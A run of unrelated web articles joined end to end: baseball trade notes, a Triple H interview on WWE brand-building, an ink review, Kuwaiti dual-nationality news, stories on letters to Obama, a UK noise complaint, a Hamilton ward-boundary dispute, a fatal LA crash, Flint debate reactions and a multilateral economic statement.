produce given his outstanding defense at shortstop (+20 DRS, +16.1 UZR/150). Stewart did leave open the possibility that the team could “go out and get a guy who is a proven offensive player and try to add him to the mix somewhere,” and, certainly, Kendrick would seem to fit that description. The bullpen also remains a need for Arizona, but Stewart tells Piecoro that the price of acquiring relief help on the trade market is too high at this point, especially after already depleting his farm system by trading a pair of Top 100 prospects — Dansby Swanson and Aaron Blair — to Atlanta in the Miller trade. Piecoro writes that some combination of Enrique Burgos, Evan Marshall, Silvino Bracho and Jake Barrett could be leaned upon to complement the likes of Brad Ziegler, Daniel Hudson, Andrew Chafin, Randall Delgado and Josh Collmenter in the bullpen. From my vantage point, that would leave manager Chip Hale without much in the way of quality left-handed relief pitching, so there certainly seems to be reason to believe that the Snakes could add some left-handed bullpen arms, be it on the free-agent market or the trade market. There are a number of low-cost lefty relievers on the market that could provide some value on one-year deals or even minor league pacts.WWE has diversified its brand exponentially within the past three years with the Performance Center, NXT, the Cruiserweight Classic, the weekly 205 Live show, and the United Kingdom Championship Tournament to its own subscription-based video streaming service, the WWE Network. As WrestleMania 33 approaches, Paul “Triple H” Levesque sat down with Sports Illustrated to discuss how the WWE builds brands, his indelible touch in the process, and the future of WWE. Wrestling is championed by WWE as sports entertainment, which is a hybrid between professional sports and Shakespeare for the masses. The product contains enough raw athleticism that the problem of creativity also exists. Paul “Triple H” Levesque constantly asks himself and those around him for the best ways to create growth while still using the same canvas that existed a half-decade ago. Levesque is helping WWE redefine its brand through projects like the Cruiserweight Classic, 205 Live show, and the United Kingdom Championship Tournament to provide global programming on a local basis. “I do not see any of those projects as completed,” stated Levesque. “This is the first version of this Performance Center. There may be others, and this is the first version. NXT is what it is, but it’s gone from being the little developmental project to 200 live events a year to four pay per views a year. My goal is to make that must-see television so that you have to have the Network. My goal is to make 205 Live the place to see high-flying in a big way. If you’re a fan of the U.K. style, then the Network is the place to go get that style.” The story of Levesque, WWE, and the way in which the company builds its brands would, however, be incomplete without revisiting May 19, 1996. WWE held a house show that Sunday at the famed Madison Square Garden in New York, and the main event concluded when fan favorite “The Heartbreak Kid” Shawn Michaels defeated arch-rival Diesel, which was the character portrayed by Kevin Nash. This marked the final WWE show for Nash and Scott Hall, as the pair had signed contracts with rival WCW, and Michaels wanted a proper send-off for his closest friends. The Kliq—which consisted of Michaels, Nash, Hall, Levesque, and Sean “X-Pac” Waltman, who was injured and not present for that evening’s festivities—decided to embrace one another in the ring, capturing their genuine emotion for one another as well as expressing gratitude that they had been able to create such memorable moments on the WWE canvas. Context is critical, and while breaking character—or kayfabe, as it is known in wrestling—is celebrated in 2017, it was forbidden in 1996. Vince McMahon was forced to respond to an act which some deemed sacrilege, and since Hall and Nash had left the company, and Michaels was the WWE champion, the only man left to take the hit was Levesque. “The ‘Curtain Call’ became something more than it was in a moment in time,” explained Levesque. “Vince didn’t have a problem with it the second we walked out. By the next day, the problem was evident—it had created a mutiny.” Levesque is now WWE’s Executive Vice President of Talent, Live Events, and Creative. Back in 1996, he began to question whether he would remain working for the company. “I understand he had to punish,” said Levesque. “I understood the conversation I had with him. The only thing I said back to him was, ‘I have to know, at the end of this, that this is over. If there is no light at the end of the tunnel, I can’t do my job and I can’t be here. I don’t want to leave, I want to be here forever. But if there’s no light at the end of the tunnel, then what’s the point? But if it’s over, then give me whatever punishment you have to give me. As long as I know there is an end to it, I am confident enough in myself that I can get back to where I need to be.’ “Vince said to me, ‘It’s done when you walk out this door. You’re going to have to eat sh-- and like the taste for a long time.’ I took the punishment, I walked passed it, and I earned respect by doing it.” Despite the consequences he was forced to endure as a result of the “Curtain Call,” including losing a coveted King of the Ring tournament victory that he was scheduled to win, Levesque gained an incredibly valuable lesson from the crowd at MSG. “The reality of it is I said another thing to Vince in that room,” Levesque noted. “I said, ‘I understand why you have to do this and I’m not complaining at all, but why was everyone in that building standing up and going crazy? ‘That was the biggest reaction of the night. The business has changed.’” Courtesy of WWE Levesque has continued to redefine the concept of WWE. The 47-year-old, who has competed as a pro wrestler since 1992, has the ability to see the business through an entirely different lens than any single person who has ever run a wrestling company, let alone a global juggernaut like WWE. “‘WWE Redefined’ has become my new catchphrase,” said Levesque. “Three years ago, we were a singular brand. If you asked, ‘What is WWE?’ three years ago, we had Raw and Smackdown with the same rosters, we had 300 live events, and we had the same pay per view schedule we’d run for years.” Three years later, there are noticeable changes. Thanks to the WWE Network and the creation of the Performance Center, WWE is now at over 500 live events a year; Raw and Smackdown are now separate brands designed to keep talent fresh; NXT, which is Levesque’s creation, runs over 200 live events a year; and 205 Live took a massive pool of cruiserweights and built an entirely new brand. “We’re only scratching the surface of what that can be,” said Levesque. “Look at the U.K. tournament. Can you imagine us—five years ago even—running an event based on U.K. indie talent, and mentioning indie groups on the air? This is ‘WWE Redefined’. We’re so much bigger than just the company that produces Raw. We’re redefining what WWE is to the world, and we’re doing that every day.” WWE has created brands centered on talent and distribution, two areas where Levesque is both full of knowledge and overflowing with passion. “There was never a focus on those things before,” Levesque explained. “When I started to point out to Vince the things that weren’t happening to increase the future of the business, he saw it and said, ‘Absolutely, let’s do it.’ “People asked how I came up with certain aspects of the Performance Center. I have 20-plus years of experience as a wrestler and a performer. I have the benefit of knowing 99 percent of everyone who has ever been in the business because I’ve sat on both sides. People might say, ‘You’ve only been doing that for a few years,’ but that’s not true.” Follow Follow Extra Mustard on Facebook In the history of professional wrestling, there is no one with the acumen, success, and vision of Vince McMahon. Despite his success, McMahon’s visions of grandeur were often met with skepticism and cynicism from his opponents. Levesque’s pedigree, or lack thereof, is no different from McMahon’s burgeoning entrepreneurship when he sought to buy the WWE in 1982. Levesque does not hold any advanced degrees or even a college diploma—yet, like McMahon, he surrounds himself with brilliant minds on the WWE executive team that do—and he has heard people question how a former wrestler can help shape the future of the company. WWE’s renaissance with Levesque as an integral member of its corporate structure makes more sense when his strengths as an on-screen performer and presence backstage are taken into deeper consideration. “I had a fascination with the back side of the business and the creative process always fascinated me,” said Levesque. “Vince gave me an opportunity in ’98 to sit in the production meetings. He would talk creative with me, and we had this creative rapport. All of a sudden, he was asking, ‘What do you think of this?’ Then he asked, ‘Do you want to go to the production meetings?’ “I didn’t have to go, but I did. When call time for the talent was one or two in the afternoon, I was there at 10 in the morning. It wasn’t because I was getting paid more. It’s because I loved the process. I was there to get in a creative debate with Pat Patterson. We would sit together and discuss these crazy ideas and ways to execute matches, and yes, I was debating with him, but I was also learning. I have both sides of the business, and that’s something most guys do not have. I did it as a performer, and I’ve done this for 20 years.” Levesque planned on attending college for graphics arts, but instead pursued pro wrestling. His biggest break came at WCW’s signature event, Starrcade, in 1994 when he wrestled “Das Wunderkind” Alex Wright. [youtube:https://www.youtube.com/watch?v=EcdXYQWFgbI] “That was my first pay per view ever,” said Levesque. “I was offered a two-year deal by WCW, but I told [WCW president Eric] Bischoff over the phone that I only wanted a one-year deal. Bischoff told me that that was the dumbest thing he’d ever heard.” Instead of signing a WCW two-year contract that would have run from 1994 to 1996, Levesque instead talked his way into a one-year deal that left him out of guaranteed money. “Bischoff asked me, ‘What’s the logic behind that?’” said Levesque. “I explained, ‘You’re offering me 52 grand. It’s a fair sum of money, except I’m responsible for all my road expenses and my cost of living. “So, at the end of the year, he was either going to know I was worth a hell of a lot more than 52 grand, or he’d know I was not worth it.” A cursory glance at the history of the business proves that, yes, Levesque was worth a lot more than $52,000. Bischoff approved the one-year deal, but Levesque had different plans when his contract expired. He set up a meeting in Connecticut—at the very office that he now calls his own—with McMahon to pursue his dream of working for WWE. “I went to Vince at the end of the year for a meeting, but I don’t think he knew who I was,” recalled Levesque. “I got a meeting, but there wasn’t much interest. Then I had the match at Starrcade with Alex Wright, and by the time I got to Chicago after that show was over, I received word from my mom that I had a call from J.J. Dillon. “I called J.J. and he said that Vince wanted to speak with me, so I called him on the phone. Vince said, ‘I saw you this weekend, I want to offer you a gig. No guarantees, and I know they’re offering you guaranteed money, but I can guarantee you an opportunity.’ “I had told Vince at our meeting that I didn’t care about the money. I wanted to work with the best in the world, I wanted to work 300 days a year, and I wanted to be great at this. I didn’t care about anything else except for the opportunity. Vince said, ‘You want to work with the best in the world? Come here.’ And I said, ‘Done.’” Levesque trained under the legendary Walter “Killer” Kowalski. The words of the late Kowalski still ring in Levesque’s head. “By the time I got to WCW, I thought Kowalski hadn’t taught me much,” admitted Levesque. “Yet today, I still find myself quoting things he told me. “I was taught by Kowalski when I walked in the door, ‘You have a decision to make: do you want to be liked or do you want to make money?’ I wanted to be successful. A lot of guys got into this business because it was an easy way to make money and they went out every night. If they got in trouble in one town, that was OK—they were already on their way to the next town.” Levesque decided early on, even without the laurels to rest on, that there was a better way to be successful in the business of professional wrestling. The same concept applies when building and creating growth within a brand. “There was an opportunity to re-position women in this industry, so we changed that,” said Levesque. “Change is tough for people to accept after we’ve done things one way for a long time. Instead of talking about change, we went and showed them the change and made everybody buy into the change. To watch that happen, and see women main-event a pay per view or a Raw, or have a cage match on Smackdown, I’m so proud of them. It’s one thing to put out the opportunity, but it’s another to take it and run with it. People say to me, ‘Thank you for the opportunity,’ and I always respond with, ‘Thank you for taking it.’ We need to be able to see where how these changes can grow. Rome wasn’t built in a day, nor was WWE.” Courtesy of WWE Levesque is tasked with manufacturing an organic brand, which is an enormous undertaking. Take the Roman Reigns conundrum as an example: The handsome, muscular, 6'4" Samoan is vociferously booed by WWE audiences, and there are constant demands from the fans to turn Reigns into a villain. Levesque has a different understanding of the situation. “People can look at Roman Reigns and say, ‘The failed attempt that is Roman Reigns,’ but Roman Reigns sells tickets,” said Levesque. “Roman Reigns gets one of the loudest reactions every night, whether that reaction is a boo or whether that reaction is a cheer. The fans who say, ‘I don’t understand why they don’t turn Roman Reigns heel!’ Isn’t he already? “If you believe what you believe, and you’re saying, ‘How can they not turn him heel? There is 70 percent of the crowd booing him out of the building!’ If that’s your belief, then isn’t he already the biggest heel we have? If 70 percent of that crowd is booing him, then he’s a heel. We’re just presenting him to you in a different way that makes you hate him.” As much as Levesque is reimagining WWE, the internet has changed the entire business of pro wrestling. “The internet has changed the world,” said Levesque. “We are the most opinionated people in the world now. You can find someone who will agree with you no matter what you think. You just go on the internet and, if you look hard enough, you’ll find someone who agrees with you. Gone is the day that everybody loves this one character, gone is the day that everybody hates this character. If you make a bad guy, there will be a group of people who love that character. He’s Darth Vader, he’s the bad guy, and they’ll love every evil thing he does. If you make a good guy, there are people who will love him, but there is the same group of people who will
few different reasons. Mostly it’s that the ink doesn’t have any sort of sheen like it’s partner, Rouge Hematite. In a perfect world Bleu Ocean would have a silver sheen, but it doesn’t. I found it to be super saturated (which is nice) and super smooth. The ink performs absolutely wonderfully, especially in my Pilot Metropolitan. It dries faster than the Rouge Hematite, which is infamous for being a slow dryer. The bottle is great to look at, the ink is great to write with, and I like the color, what more could I ask for? AdvertisementsManama: More than 430,000 people carrying the dual nationalities of Kuwait and Saudi Arabia will be summoned and asked to choose only one citizenship, a Kuwaiti daily said. “Security cooperation between Riyadh and Kuwait City has enabled security authorities in both capitals to draw up a list of 432,000 people carrying the nationalities of both countries at the same time,” a report in Kuwaiti daily Al Shahed said, quoting sources that were not identified. “Since the Kuwaiti law bans the dual citizenship, they will be summoned and asked to give up one nationality and keep only one,” the sources said in the report carried on Sunday. Those carrying the double nationality would be called either by the Kuwaiti or Saudi authorities and asked to regularise their status, the sources added. “It is basically a security issue for these countries and they want to address it.” Reports in Kuwait last week said that 90,000 people were discovered to have the Saudi-Kuwaiti dual nationalities and that the authorities were working on addressing the issue as the law does not allow dual citizenship. The dual citizenship in Kuwait has recently gained in intensity with the persistence of the issue of bidoon (stateless) residents of Kuwait who have been unable to become citizens due to the strict 1959 nationality law. The term “bidoon” is also used to refer to foreigners who migrated to Kuwait mainly during the oil boom of the 1960s and 1970s, without passports or whose passports had expired. It can also refer to those who concealed their nationality in order to remain in Kuwait. Most statistics place their number at 110,000 and their status has often been at the centre of disagreements in the Kuwaiti establishment and among Kuwaitis, with many calling for granting them more rights, including citizenship, while others see them as “illegal residents” who must not be given official documents. State officials say the Bidoons cannot be given the Kuwaiti citizenship on the grounds that they were citizens of other countries or that the ancestors of many of them came from neighbouring countries and were not entitled to the nationality. In April 2012, a scheme that enables bidoons to be granted five-year residence permits was announced by authorities. Under the scheme, those who wish to benefit from the new options will have to regularise their status by producing the passport of their country of origin. The new status allows those above 21 years of age to sponsor themselves for the next five years. Those who are below 21 can be granted a five-year residence visa as family members. Beneficiaries of the scheme do not pay fees for the duration of their permits and are handed special cards that guarantee them free health and education services.Some letters begin “I didn’t vote for you”; others end “May God bless.” One missive came in the form of baseboard molding, covered with $2.70 in stamps and a scrawl urging the president to “Fix housing 1st!” Heaps of letters offer advice on the best treats for the first dog, Bo, and people have sent in colorful dog sweaters. Mr. Kelleher said the president had used the letters to ask policy questions of government agencies, and Mr. Axelrod recalled a letter circulated among staff members from a woman in Glendale, Ariz., who was in danger of losing her home because her husband had lost his job. The White House chief of staff, Rahm Emanuel, said Mr. Obama “believes it’s easy in Washington to forget there are real people with real challenges being affected by the debate.” Mr. Emanuel added that he had seen the president turn to policy advisers in meetings and say, “No, no, no. I want to read you a letter that I got. I want you to understand.” Cynthia Arnold of Stewartstown, Pa., wrote the president to tell him what had happened as she started watching his inauguration on television. Her son, Pvt. Matthew J. Arnold, 23, whose unit might be deployed to the Middle East, called her from Fort Hood, Tex., to ask for her help filling out paperwork. “He was calling to ask me who should make his funeral arrangements in the event of his death, his father or me,” Mrs. Arnold wrote. “He advised me that it should probably be his father since I could barely make it through the call. He was calling to ask me where he should convalesce in the event of his being injured, there in Texas or at home in Pennsylvania.” Photo Using enlarged type to make sure the president would “be able to read it,” she urged him to “please make our troops one of your priorities.” A few weeks after she mailed the letter, Mrs. Arnold received a handwritten note from Mr. Obama. “I will do everything in my power to make troops like Matthew my priority,” the president wrote. “Please tell him ‘thank you for your service’ from his commander in chief!” Advertisement Continue reading the main story He signed the note “Barack Obama,” with a big looping B and O. Mrs. Arnold said she was so overwhelmed that the president had called her son by his first name that she “just burst into tears.” She is storing the letter in a safe deposit box until she can have it framed. Newsletter Sign Up Continue reading the main story Please verify you're not a robot by clicking the box. Invalid email address. Please re-enter. You must select a newsletter to subscribe to. Sign Up You will receive emails containing news content, updates and promotions from The New York Times. You may opt-out at any time. You agree to receive occasional updates and special offers for The New York Times's products and services. Thank you for subscribing. An error has occurred. Please try again later. View all New York Times newsletters. Mr. Kelleher, who has three daughters, later told Mrs. Arnold that the letter had caught his attention because he is a parent. A graduate of Illinois State University, Mr. Kelleher served in the Peace Corps in Sierra Leone in the mid-1980s. He ran unsuccessfully for Congress in Illinois in 2000, which was when he first crossed paths with Mr. Obama, who also was running for Congress. In 2006, Mr. Kelleher became the director of outreach in Mr. Obama’s Senate office in Chicago. Describing his current job, Mr. Kelleher talks about each letter’s “character,” the pictures and messages in crayon from children, and the postcard-size notes from older people, written on typewriters that still have a cursive font. Mr. Kelleher’s office has a red box for what he calls “life-and-death constituent case work.” “So someone says, ‘I’m despondent and I want to commit suicide,’ or ‘I have a life-threatening illness and I need help here,’ ” Mr. Kelleher said. “We immediately respond to those.” Threats are reported to the Secret Service. On Inauguration Day, Michael Powers of Pikeville, Tenn., wrote to Mr. Obama, telling him he had lost his father, a three-pack-a-day smoker, to lung cancer in 1979. “Enclosed is a picture of my father, and I have carried it for almost 30 years now,” wrote Mr. Powers, 54. Seeing images of Mr. Obama with his daughters had made him miss his father “more than I think I ever have.” “If you always want to be there for your girls,” Mr. Powers urged, “then stop smoking NOW!” About a month later, Mr. Powers received a reply. After thanking him for “the wonderful letter, and the good advice,” the president wrote, “I am returning the picture, since it must be important to you, but I will remember your dad’s memory.” On the wall of his sparse office, a few blocks from the White House, Mr. Kelleher has two letters from his daughter Carol, 10. She wrote to him once and, when he did not reply, she wrote “a second, meaner letter,” he said. That letter begins, “I have noticed you did not reply to my letter.” “So I had to reply to her,” he said, sounding less keeper of the gate and more hapless father, impressed by the power of letters.Sapphire Curzon lives in the U.K. and is the mom to a happy, healthy toddler named Callum. Callum is a rambunctious little boy, but Curzon never thought that could get her evicted. Curzon received a letter from the housing department where she lives and was informed that her son plays with his toys too loud, and could ultimately get her evicted. The landlord threatened to serve her with an ASBO, or anti-social behavior order, which is usually given out by a court as a result of people rioting, drunk driving, or dealing drugs. It makes the defendant stop whatever behavior has been complained about. Curzon was rightly upset by this letter and went public with her problem. “All my son does is run around and play with cars, trucks and building blocks,” Curzon said. “I find myself now constantly telling him off. But I shouldn’t tell him off because he’s playing. It’s just what a child does. He gets excited. ‘Whatever noise my son makes I feel like I have to scold him straight away. I’ve essentially having to stop him from having any fun. He’s a two-year-old child. What is he supposed to do? I have told him to try to be a little less excitable and hyperactive, but he is just full of beans. Continue reading to see exactly what the letter says, and what her landlord has said about the issue. Facebook “I’m not going to punish him for being a happy child,” Curzon said. “I knew the neighbors were annoyed, but I wasn’t ever expecting to get the letter.” While an ASBO doesn't go on your criminal record, it can last for two years in the system and if you break the conditions that's when things get recorded. “It’s really making me frightened because I’m scared of going to court,” she said. “I’m not a criminal. I’m just a single mum with a toddler son.” The conditions of Sapphire Curzon's letter are pretty vague, stating she can't "do anything or allow anything to be done in the premises or communal areas or the locality which causes or would be likely to cause nuisance, annoyance or harassment to anyone living in or visiting in the locality.” Jason Cannon, director at Gedling Homes, said: ‘As with all reports of noise or anti-social behavior, we have a duty to look into these on behalf of our tenants to help them live happily in their homes. We’ve been in touch with Miss Curzon about complaints of noise coming from her property in the early hours of the morning and have reminded her of the rules of her tenancy agreement.’ Callum’s dad Kyle Fisher, 21, says: ‘It’s bang out of order. He is the only noise. We got onto the council this morning and they’ve said there is nothing they can do. We’ve just got to keep him under control.' While it's hard to know just how loud Callum was being and what other circumstances are involved, it still seems pretty extreme to get to this level don't you think?There’s a lot of confusion about what the settlement reached between the City of Hamilton and Mark Richardson means. On its own, the settlement means little. It does not end the OMB hearing, it merely removes Mark Richardson as an active appellant, leaving the City to argue against other appellant Robert Dobrucki. Viewed in isolation, the settlement looks to be a victory for Council – it does little to advance equitable representation, protects incumbent friendly boundaries, and fulfills Council’s preference for a City divided along former municipal boundaries. This short view is why Council approved a settlement that significantly undermines its primary arguments, and sets the stage for Council’s defeat at the OMB. They are seeing a victory that effectively maintains the status quo, with only one noteworthy change in the settlement from Council’s original gerrymandered boundaries – the move of Ward 1 Poll 103 into Dundas’ Ward 13. The noteworthy change may seem insignificant, and the relatively unknown Robert Dobrucki may seem on paper an unworthy opponent to the City’s expensive legal team and paid experts. The moving of Poll 103 sets in motion a series of arguments which severely undermine the Council’s arguments, and Dobrucki – while an unknown to us – is widely known in municipal academic circles as one of the leading minds on municipal political boundaries. In short, Richardson wisely allowed Council to walk themselves into defeat, and with his legal counsel Craig Burley won a significant victory that is not readily apparent. Poll 103 Jelly Brothers Jelly Brothers Poll 103 is the portion of Ainslie Wood north of Main Street East and west of McMaster University. Primarily a student neighbourhood, it has the lowest voter turnout in the entire City of Hamilton – only 152 ballots were cast at the poll out of at least 2000 potential voters. (Poll 103 includes on-campus student residences) For Council, moving this population into Dundas enables a major shift of population into Ward 13, protecting incumbent Arlene Vanderbeek’s suburban seat without the risk of changing the political balance of the ward. The seemingly safe political assumption being that McMaster students can be ignored because they don’t vote anyway. Why Shifting McMaster Students into Ward 13 Hurts the City’s OMB case Council primary argument for maintaining disproportionate representative weighing in favour of the seven suburban wards is they form a separate “community of interest” from the urban wards with unique needs, unique taxation (area-rating), unique history, and unique local identities which significantly differ from those on the other side of the former municipal boundary of the old City of Hamilton. The term “community of interest” stems from the 1991 Supreme Court of Canada “Carter Decision” in which the Court determined that the Charter of Rights and Freedoms mandates “effective representation”, not necessarily equal representation. The Court held that factors such as geography, community history, community interests, and representation of minorities can be weight in the creation of political boundaries. The Ontario Municipal Board considers the Carter criteria when considering appeals of ward boundaries. Students as a Community of Interest The OMB ruled in its 2013 review of Kingston’s ward boundaries that post-secondary students are a community that must be counted and considered in determining ward boundaries. OMB Member Sylvia Sutherland wrote in her decision that the City of Kingston was not justified in excluding the student community in their creation of ward boundaries. [para 20] Sutherland wrote students require representation from municipal councillors. She wrote their average nine months of residence each year “does not mean that they do not use City services, have no issues to bring to their local government, and do not create issues for others to bring to their local government” [para 24]. Sutherland ruled students are not just a community of interest but also a minority in a municipal ward context “Certainly post-secondary students represent community interest as well as a community of interests and minority representation” [para 40]. The Board ordered new ward boundaries that included student population in its calculation, and a ward that enabled students to have effective representation (if they ever bother to vote in sufficient numbers) on Kingston’s City Council. In the same ruling, the Board held the City could not split a long standing neighbourhood district due to the effect on its neighbourhood association. Does the Student Community of Interest Need to Be Split to Protect the Suburbs? Council’s primary argument is that in order to protect rural and suburban Hamilton, those communities combined must have an effective veto over the more urban former City of Hamilton. While both Hamilton’s rural and lower-density suburbs deserve effective representation on Council, effective representation does not require they have an objectors veto. Each of the proposed boundaries have included wards that were largely rural, and other wards that serve to ensure representation of the low-density suburban form on Council. There is no overriding reason that the McMaster student community must be split between Ward 1 and 13, in order to allow Dundas to exists as one of the smallest wards by population, alongside Wards 14 and 15 as having the smallest populations. Harm to Student Representation is Significant The harm done to the ability of students to achieve effective representation by voting is significant. The Dundas Councillor has no reason to effectively represent student interests as the students are a small segment of Ward 13 with their potential votes (even if they voted at the average of 40%, which they do not) diluted among 30,000 residents of Dundas. West Hamilton Ward 1 Councillors have traditionally under-served the student population, as they don’t vote and \McMaster Students Union leaders infrequently engage in representing student concerns to the municipal government. Last year saw MSU Vice-President Education Blake Oliver begin to effectively engage with the municipal government. This year, MSU President Chukky Ibe is advocating on student issues, and beginning voter education efforts in preparation for the October 2018. Council’s decision to sever a large portion of the student population severely frustrates the efforts of the MSU to gain effective representation, and in light of the Kingston decision, the OMB cannot allow this split to stand. Joey Coleman / The Public Record Rob Dobrucki, the Stronger Appellant The remaining appellant, Robert Dobrucki, a Dundas resident, is the stronger appellant in this case. He is better versed in this specialized area of municipal law, and analyses municipal boundaries as a passionate amateur. A lawyer, Dobrucki works for a major labour union as a negotiator. He’s appealing in his personal capacity. Alongside his friend Alan Hall, Dobrucki is widely recognized among municipal affairs academics as a leading expert on municipal representation and boundaries. Dobrucki is extremely knowledgeable on the OMB case law regarding political boundaries, and will argue a strong case. The City’s hired lawyer Steven Ferri is one of the leading municipal lawyers in Ontario. Dobrucki is his equal in the forum of the OMB. Their styles and approaches could be little more different – Dobrucki dresses humbly, reflective of what one would expect of a union organizer. Ferri is the stereotypical Bay Street lawyer, expensive suit, costly leather shoes, and a watch showing off his hourly rate. (Ferri’s office is near Pearson, not Bay Street) At the initial pre-hearing in August, Ferri was dismissive towards Dobrucki, which drew a not-subtle correction from the presiding OMB Executive Chair. This dismissiveness, and Dobrucki’s low profile has likely caused Council to under-estimate Dobrucki. In its news release hailing the settlement, Council declared they will seek the OMB to dismiss Dobrucki’s appeal and implement their settlement. The OMB will not be doing so, not only because Dobrucki will have prepared a substantial case requiring review – it was City Councillors Judi Partridge and Terry Whitehead who attended the OMB in person to demand the hearings be longer and more open to public participants than is routine for the OMB. The OMB would be – in the terminology used by Partridge and Whitehead – undemocratic to not conduct the full hearing. There’s an irony these Councillors’ political posturing preventing the City from getting the quick win they seek. Team Dobucki Last fall, Rob Dobucki was on The Public Record Radio Show to discuss ward boundaries. I had sought an academic to speak to boundaries from a learned perspective, three of the academics I contacted recommended Dobucki – stating he could speak from a more informed perspective. Since my first introduction to Dobucki, I’ve learned a little bit of how extensive his networks run among municipal political professors, social researchers, and geographers. He has pro-bono access to experts who are assisting him to prepare a strong case. It could be my East End roots speaking, but I’d rather have Dobucki’s grassroots network than a team of well-paid Toronto lawyers. Dobucki’s arguments will likely include detailed research such as the recent paper presented at the Canadian Political Science Association conference which shows Hamilton’s present ward boundaries has one of the worst effects for diminishing the votes of visible minorities due to the over-representation of majority white suburban areas. Richardson’s Settlement Helps Dobucki Mark Richardson’s settlement is a significant victory for Dobucki’s case against Council’s gerrymandering. By agreeing to the new boundaries, Council has acknowledged that their original boundaries are flawed. In attaching that portion of Ainslie Wood to Dundas, Council removed all of their tax and different political interest arguments for maintaining the existing Hamilton/Suburb divide. Geographically, Poll 103 – North Ainslie Wood is significantly separated from Dundas by a combination of major roadways, high-voltage hydro corridors, and river creek valley. The decision to ignore these geographical features eliminates Council arguments that suburban communities deserve over-representation due to geographical features. Council’s political self-dealing has come back to bite them. On the surface, the Richardson settlement looks to be a “surrender” to Council. Richardson was criticized on social media for making it. Yet for all the social media criticism, it was only Mark Richardson who stepped forward from the active social media pundits to actually file an appeal. On these grounds alone, many of the critics had little standing to complain – they didn’t file appeals. Lawyer Craig Burley, who took on the case pro-bono representing Richardson, has taken some negative feedback in his own community of Ainslie Wood for allowing the divide of the neighbourhood. It’s the nature of the OMB process that neither can provide comment outside of their tame statements about the settlement. By backing away, and gaining concessions from the City, both have “taken one for the team” and set the conditions for Dobrucki to win the ultimate goal – fair representation for Hamiltonians with political boundaries that force politicians to start providing vision instead of peddling division. Hamiltonians owe them a debt for their service to advancing our democracy. CORRECTION: An earlier version of this article stating Dobrucki was a non-practicing lawyer. In fact, he is practicing, but the appeal is a personal appeal not in his professional role.Please enable Javascript to watch this video Four people in their early 20s were killed after their BMW veered into the wrong side of traffic and slammed into a tree in Northridge Friday night, and now officials are saying they are investigating the possible role of street racing. The silver sedan splintered into pieces and burst into flames due to the force of the high-speed impact that occurred around 11 p.m. near the intersection of Balboa Boulevard and Lassen Street, according to Detective Bill Bustos with the Los Angeles Police Department. All four of the car's occupants were dead by the time paramedics arrived, the Los Angeles Fire Department said. Coroner's officials identified the deceased as Martin Gomez, 20, of Granada Hills; 20-year-old North Hills resident Denney Lomeli; 22-year-old Amanda Alfar of Panorama City; and Leena Ammari, 21, of Reseda. The aunt of Amanda Alfar told the Los Angeles Times the 22-year-old was celebrating a friend's birthday by going out to dinner on Friday night. She had just celebrated her own birthday two weeks earlier at a restaurant in Sherman Oaks, her aunt said. "She was the rock of the family,” her aunt, Joanne Falahat, told the Times. "We’re absolutely devastated." The vehicle was traveling east on Lassen Street, approaching Balboa Avenue at a high rate of speed when it swerved into oncoming traffic and smashed into a wall and tree, among other objects, investigators said. "Regrettably, coming eastbound on Lassen, there is a considerable hill prior to the intersection," Bustos said. "After crossing the intersection it appears that the vehicle lost control as a result of the speed." Officials later said street racing may have played a role in the deadly crash. Bustos estimated the BMW was driving at a speed two or three times the posted limit of 40 mph, meaning it was likely traveling around 100 mph. He added that a second vehicle, a four-door black sedan, may have been involved. Authorities are interested in interviewing that driver as a possible witness. Police posted surveillance images of the second car on Instagram. A pedestrian witness who spoke to media at the scene said the cars were "clearly racing." Anyone with information about the incident can contact LAPD detectives at 818-644-8000. Please enable Javascript to watch this videoFLINT, MI -- The crowd inside The Whiting Auditorium in Flint Sunday night let the candidates know their feelings before, during, and after the CNN Democratic presidential debate. Applause rose and fell at times, with Bernie Sanders supporters clapping loudly during his answers and some Hillary Clinton supporters rising in their seats at points to give their candidate a boost during the two-hour debate session between the candidates. Bob Vallier, 60, of Flint, labeled himself as a Sanders fan, but he noted the path to another Democrat in the White House pushes him towards Clinton. "I think her policies are going to be more realistic, and I really appreciate everything she's going to bring into being president, having been First Lady, having been Secretary of State, having been a senator and looking back into her life how much she's dedicated to the common man," he said. Denise Ghattas was one of a few residents who had the chance to ask a question of the candidates during the debate, asking Sanders and Clinton about what they pray about in their personal lives. Bernie Sanders and Hillary Clinton debate in Flint amidst city's water crisis 109 Gallery: Bernie Sanders and Hillary Clinton debate in Flint amidst city's water crisis "I'm still undecided," she said following the debate "What I was hoping was that Senator Sanders would talk about how relevant God was in his personal life, as far as looking for a leader and looking for a president where does he get his wisdom and inspiration. He answered it politically and not personally." She was more impressed with Clinton's response. "I absolutely thought her response was right on," Ghattas said. "It could have gone a little political, but I knew that was really who she was when she said she prays, when she prays to whom she prays. She answered my question." Mohammad Elchawich, 21, senior at University of Michigan-Dearborn, called the debate "a fantastic event," with both candidates sticking mostly to policy and not rhetoric. "They spoke about all the issues, but in terms of who is more credible, who is more relevant, I would definitely go more towards Bernie Sanders. He is a guy who doesn't shy away from the issues," said Elchawich. "Although he doesn't have very specific plans, he is the best transition to a president that could represent the values that we embody as an American people." Flint resident Melissa Mays, one of the leaders in raising the water issue to a national stage that prompted the debate to come to Flint, was pleased at hearing some meat to plans from both candidates on fixing the city's woes. "It was nice to see while part of me is thinking they are doing it here basically to help their campaign, on the other hand the spotlight has been on Flint and it needs to stay on Flint until the problems are solved," she said. "This is a horrible example of a complete manmade disaster." As far as the candidate who she sided with in their response, Mays was more of a Bernie backer at night's end. "When Bernie Sanders talked about the MDEQ and getting rid of anybody that had to do with the cover up, I really appreciated that," she said.The leaders of the International Monetary Fund, the World Bank and the World Trade Organisation on Friday issued a warning about the economic and social risks of austerity programmes in a "call to action" designed to boost growth and fight protectionism. Expressing concern about the weakness of economic activity and rising unemployment, the IMF's Christine Lagarde, the World Bank's Robert Zoellick and the WTO's Pascal Lamy joined the heads of eight other multilateral and regional institutions in calling for policies to create jobs, tackle inequality and green the global economy. "The world faces significant and urgent challenges that weigh heavily on prospects for future growth and on the cohesion of our societies," said the statement by the global issues group of the World Economic Forum. It was published ahead of the forum's annual meeting in Davos next week, amid concerns that 2012 will see the global economy flirt with recession as a result of the eurozone crisis. "Our shared objective is the strengthening of growth, employment and the quality of life in every part of the world," said the statement. "But entering 2012, we worry about: decelerating global growth and rising uncertainty; high unemployment, especially youth unemployment, with all its negative economic and social consequences; potential resort to inward-looking protectionist policies." In addition to Lagarde, Zoellick and Lamy, the signatories were Mark Carney of the Financial Stability Board, Margaret Chan of the World Health Organization, Angel Gurría of the Organisation for Economic Co-operation and Development, Donald Kaberuka of the African Development Bank, Haruhiko Kuroda of the Asian Development Bank, Luis 